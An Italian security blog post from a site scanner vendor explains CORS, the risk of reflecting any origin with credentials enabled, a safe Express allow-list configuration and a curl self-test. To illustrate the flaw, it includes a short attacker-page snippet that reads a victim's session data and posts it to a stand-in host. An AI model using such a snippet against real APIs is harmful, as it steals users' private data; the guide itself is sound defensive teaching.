← Torna al blog
SicurezzaScanaris Team · 5 min di lettura · October 04, 2026

CORS mal configurato: la falla silenziosa che espone i dati dei tuoi utenti

Stai costruendo la tua app, il browser ti tira fuori un errore rosso di CORS, cerchi in un forum o lo chiedi all'IA e copi la soluzione che promette che tutto funzioni. Di solito è la peggiore possibile. Questa guida spiega cos'è davvero CORS, cosa protegge e cosa no, l'errore esatto che lascia i dati dei tuoi utenti alla portata di qualsiasi sito, come configurarlo bene con il codice e come verificarlo dall'esterno.

Cos'è CORS in realtà

Di default, il browser non lascia che una pagina su sito-a.com legga la risposta di un'API su sito-b.com. È la same-origin policy, e un'origine è la combinazione di protocollo, dominio e porta: https://app.esempio.com e https://api.esempio.com sono origini diverse. Quella policy protegge i tuoi utenti: evita che una scheda malevola legga dati di un altro sito dove hanno la sessione attiva.

CORS (Cross-Origin Resource Sharing) è il meccanismo con cui il tuo server allenta quella regola di proposito: con l'header Access-Control-Allow-Origin dice al browser "a questa origine precisa lascio leggere la risposta". Per le richieste che non sono semplici (una PUT, un body JSON, un header Authorization), il browser invia prima una richiesta OPTIONS di verifica, il preflight, e prosegue solo se la risposta lo autorizza.

Cosa CORS non protegge

Conviene averlo chiaro prima di configurarlo. CORS è una regola che i browser rispettano, non un controllo di accesso della tua API. Un attaccante con curl, uno script su un server o un'app mobile non sono soggetti a CORS: vedono tutto ciò che la tua API restituisce senza sessione. Se un endpoint consegna dati senza controllare chi chiede, CORS non lo risolve; lo risolve l'autenticazione. CORS protegge una cosa molto precisa: che un altro sito non usi il browser del tuo utente, con i suoi cookie, per leggere dati privati a suo nome.

L'errore che rompe tutto

Lo schema pericoloso è riflettere qualsiasi origine che arriva e, per di più, permettere le credenziali:

  • Access-Control-Allow-Origin con il valore dell'origine che chiede, qualunque sia (riflesso dinamico), e
  • Access-Control-Allow-Credentials: true.

Con quella combinazione, qualsiasi sito che il tuo utente visita può fare richieste alla tua API con i cookie di sessione dell'utente e leggere la risposta. L'attacco sta in tre righe nella pagina dell'attaccante:

fetch('https://api.tuodominio.com/me', { credentials: 'include' })
  .then(r => r.json())
  .then(dati => fetch('https://attaccante.example/raccogli', { method: 'POST', body: JSON.stringify(dati) }))

L'utente non vede nulla: ha solo aperto una pagina. Il carattere jolly * è meno grave perché il browser rifiuta di combinarlo con le credenziali, ma non ha comunque posto in un'API con dati privati.

I modi in cui questo errore arriva nel codice sono di solito innocenti: in Express, cors({ origin: true, credentials: true }) riflette qualsiasi origine; un'espressione regolare trascurata come /tuodominio.com$/ accetta evil-tuodominio.com; una lista che include null permette pagine aperte da file locali e iframe isolati; e "permettere tutto in sviluppo" finisce in produzione.

Come configurarlo bene

Pensa alla difesa, non alla comodità. Mantieni una lista chiusa di origini, confrontala in modo esatto e restituisci l'header solo quando c'è corrispondenza. In Express:

const ALLOWED = new Set([
  'https://app.tuodominio.com',
  'https://tuodominio.com',
])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin && ALLOWED.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Vary', 'Origin')
    res.setHeader('Access-Control-Allow-Credentials', 'true')
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
    res.setHeader('Access-Control-Max-Age', '600')
  }
  if (req.method === 'OPTIONS') return res.sendStatus(204)
  next()
})

Quattro dettagli che contano. Vary: Origin evita che un CDN metta in cache la risposta per un'origine e la serva a un'altra. Allow-Credentials solo se usi davvero cookie tra origini diverse; se la tua API e la tua app vivono sullo stesso dominio, non ti serve nemmeno CORS. Limita metodi e header a quelli che usi. E rispondi all'OPTIONS con 204 senza eseguire logica di business.

In Next.js, lo stesso codice vive in un middleware o in ogni route handler; in Nuxt, in routeRules o in un middleware server. Se usi Supabase o Firebase direttamente dal browser, CORS lo gestiscono loro e la barriera reale sono le regole del database, non questo header.

Le API pubbliche possono usare il carattere jolly

Se la tua API serve dati davvero pubblici (un listino prezzi, un catalogo) e non usa cookie, Access-Control-Allow-Origin: * è legittimo e semplifica la vita a chi la consuma. La regola è non mescolare mai il jolly, né il riflesso, con dati che dipendono dalla sessione dell'utente.

Perché è difficile da individuare

Questa falla è silenziosa: tutto funziona, non c'è errore visibile e l'app sembra sana. Te ne accorgi solo quando qualcuno ne approfitta, e nemmeno allora lascia tracce evidenti nei tuoi log, perché le richieste arrivano con una sessione valida. Per questo conviene controllare la configurazione di CORS esplicitamente a ogni deploy e non fidarsi del fatto che "siccome non dà errore, va bene".

Come verificarlo da solo

Richiedi un endpoint privato della tua API fingendo di venire da un altro sito e guarda gli header che tornano:

curl -s -I -H "Origin: https://evil.example" https://api.tuodominio.com/me | grep -i access-control

Se la risposta restituisce Access-Control-Allow-Origin: https://evil.example insieme a Access-Control-Allow-Credentials: true, hai il problema. Se non restituisce nessun header CORS per un'origine sconosciuta, va bene. Ripeti con Origin: null e con un sottodominio inventato del tuo stesso dominio.

CORS non sostituisce la protezione contro il CSRF

Un attaccante non ha bisogno di leggere la risposta per fare danni: basta che la richiesta venga eseguita (una POST che cambia l'email dell'account, per esempio). Questo lo evitano i cookie con SameSite=Lax o Strict e, per i form sensibili, un token anti-CSRF. CORS e SameSite sono due livelli distinti; conviene avere entrambi.

Controlla il tuo CORS con Scanaris

Scanaris verifica in sola lettura come il tuo sito risponde a richieste da origini sconosciute: se riflette l'origine, se permette le credenziali e se combina il jolly con i cookie. Non lancia attacchi né tocca i tuoi dati: osserva solo la risposta pubblica, come il comando qui sopra. Se trova una configurazione pericolosa, ti dà un fix prompt perché la tua IA la riscriva con una lista chiusa. È uno dei controlli della checklist di lancio; gli altri pezzi, header compresi, sono nella guida agli header di sicurezza.

Domande frequenti

Perché mi dà errore CORS in locale e in produzione no?

Perché in locale il frontend gira su localhost:3000 e l'API su un'altra porta: sono origini diverse. In produzione di solito condividono il dominio. Aggiungi l'origine di sviluppo alla lista solo nell'ambiente di sviluppo, non riflettere mai tutto per "togliere l'errore".

Posso mettere più origini in Access-Control-Allow-Origin?

No, l'header ammette un solo valore. Per questo si confronta l'origine in arrivo con la lista e si restituisce solo quella, con Vary: Origin.

Un browser mobile o un'estensione possono aggirare CORS?

Le app native e gli script server non sono soggetti a CORS; le estensioni hanno permessi propri. CORS protegge l'utente nel suo browser normale, che è dove stanno i suoi cookie. Il resto lo protegge l'autenticazione della tua API.

Come se la cava il tuo sito?

Lascia che Scanaris lo analizzi e verifica in 30 secondi, gratis.

Scansiona il mio sito

Controlli correlati